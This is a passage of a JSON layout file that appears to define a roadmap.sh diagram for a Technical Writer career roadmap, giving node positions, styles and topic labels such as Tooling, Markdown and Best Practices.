1733.1749108232366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 385,\n        \"height\": 224\n      }\n    },\n    {\n      \"id\": \"BRSq7FKGqrbjRR0NKEw9C\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1147.1877382711257,\n        \"y\": 1537.2977449847244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 196\n      },\n      \"positionAbsolute\": {\n        \"x\": 1147.1877382711257,\n        \"y\": 1537.2977449847244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"emeziC4p96dk2ZdBnUGqj\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1101.9620919533354,\n        \"y\": 1447.2977449847244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 90,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": 1101.9620919533354,\n        \"y\": 1447.2977449847244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 90\n      }\n    },\n    {\n      \"id\": \"V-W_mPzOTLkdzaeU9jDtu\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1207.1877382711257,\n        \"y\": 1447.2977449847244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"emeziC4p96dk2ZdBnUGqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 90,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": 1207.1877382711257,\n        \"y\": 1447.2977449847244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 90\n      }\n    },\n    {\n      \"id\": \"5OchPaFXMYtz9WvMOpOK8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 424.1877382711257,\n        \"y\": 1376.732278071367\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"5AnsmwOaq25Z8FY3BRGm-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 153,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 153\n      },\n      \"positionAbsolute\": {\n        \"x\": 424.1877382711257,\n        \"y\": 1376.732278071367\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 153\n      }\n    },\n    {\n      \"id\": \"5AnsmwOaq25Z8FY3BRGm-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 285.6877382711257,\n        \"y\": 1448.732278071367\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"PSSovQ00thrVrRJCz2SYB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 81,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 81\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.6877382711257,\n        \"y\": 1448.732278071367\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 81\n      }\n    },\n    {\n      \"id\": \"PSSovQ00thrVrRJCz2SYB\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 354.6877382711257,\n        \"y\": 1159.732278071367\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 91,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 91\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.6877382711257,\n        \"y\": 1159.732278071367\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 91\n      }\n    },\n    {\n      \"id\": \"8bAy2PKLRM8fm-2oDrQQ_\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 723.5409442883595,\n        \"y\": 1114.848933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 54,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 54\n      },\n      \"positionAbsolute\": {\n        \"x\": 723.5409442883595,\n        \"y\": 1114.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 54\n      }\n    },\n    {\n      \"id\": \"dqJMYRZ0lm1Iw-MavHli-\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 626.1877382711257,\n        \"y\": 1168.848933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 634,\n      \"height\": 233,\n      \"style\": {\n        \"width\": 634,\n        \"height\": 233\n      },\n      \"positionAbsolute\": {\n        \"x\": 626.1877382711257,\n        \"y\": 1168.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 634,\n        \"height\": 233\n      }\n    },\n    {\n      \"id\": \"5Z9o-b3vBA-ITFg86zzYM\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 556.8760409943199,\n        \"y\": 166.2553633125035\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Writer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 68,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 556.8760409943199,\n        \"y\": 166.2553633125035\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"XgM_I974PlXAu4AbeqHX1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 668.8760409943199,\n        \"y\": 93.2553633125035\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 73,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 73\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 668.8760409943199,\n        \"y\": 93.2553633125035\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 909.4971847919508,\n        \"y\": 83.84893300452893\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 142,\n      \"positionAbsolute\": {\n        \"x\": 909.4971847919508,\n        \"y\": 83.84893300452893\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 142\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 142\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 921.7005592047509,\n        \"y\": 165.8344964222742\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 921.7005592047509,\n        \"y\": 165.8344964222742\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 582.8760409943199,\n        \"y\": 374.48940199488766\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 582.8760409943199,\n        \"y\": 374.48940199488766\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZRGsokU313Ky-anWbWK6q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.4340503630634,\n        \"y\": 267.71103642623416\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Who is a Technical Writer?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 365,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 901.4340503630634,\n        \"y\": 267.71103642623416\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jl1FsQ5-WGKeFyaILNt_p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.4340503630634,\n        \"y\": 320.71103642623416\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is Technical Writing?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 365,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 901.4340503630634,\n        \"y\": 320.71103642623416\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j69erqfosSZMDlmKcnnn0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.4340503630634,\n        \"y\": 373.71103642623416\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Role of Technical Writers in Organizations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 365,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 901.4340503630634,\n        \"y\": 373.71103642623416\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cNeT1dJDfgn0ndPzSxhSL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.4340503630634,\n        \"y\": 426.71103642623416\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forms of Technical Writing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 365,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 901.4340503630634,\n        \"y\": 426.71103642623416\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FVxNjbDBxgf6vkZWw1Awt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.4340503630634,\n        \"y\": 479.71103642623416\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Growth as a Technical Writer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 365,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 901.4340503630634,\n        \"y\": 479.71103642623416\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 683.2670925742796,\n        \"y\": 2239.519385286052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 683.2670925742796,\n        \"y\": 2239.519385286052\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"8rjUZ9NZPGwVRGmk6Dlyb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 285.1877382711257,\n        \"y\": 465.3759397202738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Required Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O-dZEkmU0tP3dUIUPM6YJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 285.1877382711257,\n        \"y\": 465.3759397202738\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DubLTESNn3wvEH_bKQZbP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.18773827112568,\n        \"y\": 255.69725318942244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technology Expertise\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.18773827112568,\n        \"y\": 255.69725318942244\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kNIiAJrvrNoOAllUbRtUB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.18773827112568,\n        \"y\": 308.69725318942244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Language Proficiency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.18773827112568,\n        \"y\": 308.69725318942244\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7-3tqRUpntoQP4nK_nul5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.18773827112568,\n        \"y\": 361.69725318942244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Written Communication Proficiency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.18773827112568,\n        \"y\": 361.69725318942244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_5xFbl2BHx0f2u9HmSVS8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 582.8760409943199,\n        \"y\": 612.9709677559136\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tooling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O-dZEkmU0tP3dUIUPM6YJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 582.8760409943199,\n        \"y\": 612.9709677559136\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jC3ZrpskBqzxiV6SKf4Uf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.9620919533353,\n        \"y\": 564.9266408696443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Publishing Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 901.9620919533353,\n        \"y\": 564.9266408696443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cSZbTOB0FPPOlGzy-MkSi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.9620919533354,\n        \"y\": 617.9266408696443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Plagiarism Checker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 901.9620919533354,\n        \"y\": 617.9266408696443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Am_ocP3r0HM45LYfMcQxM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1106.9620919533354,\n        \"y\": 617.9266408696443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Editing Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1106.9620919533354,\n        \"y\": 617.9266408696443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ffJyulu9GPB_TDqjeJYyV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 901.4340503630634,\n        \"y\": 670.9266408696443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git / Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 901.4340503630634,\n        \"y\": 670.9266408696443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TJ1iuzQ9u_WbrllRQkgm_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1106.4340503630633,\n        \"y\": 670.9266408696443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Markdown\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1106.4340503630633,\n        \"y\": 670.9266408696443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0XWiraeoicNBbaGYQnNZr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 582.8760409943199,\n        \"y\": 478.7553633125035\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Research Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 582.8760409943199,\n        \"y\": 478.7553633125035\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sdoFe4A3y_-Zp3mlrJ5r8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 582.8760409943199,\n        \"y\": 531.7553633125035\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blogging Platforms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 582.8760409943199,\n        \"y\": 531.7553633125035\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FD-8LQ_g2_O_i2Qwp-Gpv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1105.9620919533354,\n        \"y\": 564.9266408696443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SEO Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1105.9620919533354,\n        \"y\": 564.9266408696443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yYLsG2LuPaNUuhXSVev_0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 582.8760409943199,\n        \"y\": 787.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O-dZEkmU0tP3dUIUPM6YJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 582.8760409943199,\n        \"y\": 787.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"27muFD1Ld1gF6hhIh22sG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 573.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Story Telling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 573.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lxSSjgtqJk-PtRp4hARDw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 626.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Subtle Selling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 51.27276611328125\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 626.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"Ezz2e4lYLD_bdNNwvsV_y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        